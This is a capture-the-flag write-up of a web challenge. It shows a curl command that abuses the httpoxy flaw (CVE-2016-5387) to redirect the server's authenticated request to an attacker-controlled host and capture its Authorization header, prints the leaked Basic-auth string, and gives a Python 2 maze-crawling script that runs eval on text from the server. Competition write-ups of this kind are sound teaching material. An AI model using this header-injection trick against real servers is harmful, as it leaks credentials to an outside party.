This challenge is divided in two steps: bypass the authentication and solving the maze. The first one tooks us several hours and was at the end solved by @invano.
The source code (https://cthulhu.fluxfingers.net:1507/code.php)
tell us the server is an Apache/2.4.7-ubuntu4
which is vulnerable to
CVE-2016-5387, better known as httpoxy
.
With this vuln Apache overwrites the environment variable
HTTP_PROXY with the content of the field ‘Proxy’ found in the
headers. And here’s the problem: the function queryURL
- which knows
the credentials - honors HTTP_PROXY, thus redirecting each request to
the location specified in HTTP_PROXY.
So we executed:
curl -v -H "Proxy: IP.OF.MY.SERVER:PORT" https://cthulhu.fluxfingers.net:1507/
And on the server we received the request with the Authorization header set!
To get the flag now it’s just a matter of solving the maze.
The idea is that each url represents a position in the maze. To see the reachable positions from a given one, you have to resolve a very simple captcha.
So what I did was to recursively explore each position, but paying attention to skip a path if it was already visited (otherwise you can enter an infinite loop). The script below implements the idea:
#!/usr/bin/env python2
import sys
import requests
import re
from BeautifulSoup import BeautifulSoup
from collections import defaultdict
maps = defaultdict(list)
allurls = []
def get_and_solve(url):
print "[+] Get and solve %s" % url
header = {'Authorization': 'Basic c3VwM3JzM2NyM3R1czNyOm4wYjBkeWM0bmd1M3NteXA0c3N3MHJk'}
r = requests.get(url, headers=header)
print r.text
if "NOT THE FLAG" in r.text:
return ["NOT THE FLAG"]
a = re.search("([0-9]* [+-/*]) [0-9]*", r.text).group(0)
res = eval(a)
#print "Solve %s = %d" % (a,res)
payload = { 'result': res}
r = requests.post(url, headers=header, data=payload)
print r.text
soup = BeautifulSoup(r.text)
urls = []
for a in soup.findAll('a', href=True):
print "Dumping map of %s: %s" % ( url, maps[url])
if a['href'] not in maps[url]:
maps[url].append(a['href'])
urls.append('https://cthulhu.fluxfingers.net:1507/%s' % a['href'])
return urls
def explore(p, l):
sys.stdout.flush()
for u in l:
# STATS
if u not in allurls:
allurls.append(u)
print "Found new state (out of %d): %s" % (len(allurls),u)
urls = get_and_solve(u)
if "NOT THE FLAG" in urls:
return
else:
explore(u, urls)
l = ['https://cthulhu.fluxfingers.net:1507/maze/j1dgu9uxkafajnvwo10w6j5bpwr42glm/iyfu5c4wf7w6ila0pfq4dlu7lf3rn8f1.php',
'https://cthulhu.fluxfingers.net:1507/maze/t1xdtygdurka0vwo04vxovb9h4q91tw6/2zszieqld8ghxdm43nwi7t8wh93mxau4.php',
'https://cthulhu.fluxfingers.net:1507/maze/7v2lt3k6xsnuqywv67fxwbsdzxxzunco/j6n7ye84mmdrs5dr4wbiw6y9ttz1jpfv.php',
'https://cthulhu.fluxfingers.net:1507/maze/o25s1yq85a30u1hqoj6mpguy12o39f4i/bnbnylcs2td9a2ni5tgvhx56mgvgfgxw.php']
explore('start',l)
After 15min of prayers (it was 11.30am and the CTF was ending in
30minutes) the script found the exit of the maze and rewarded us with a 200+ points flag:
FLAG{queried_g00d_y0u_h4v3}
.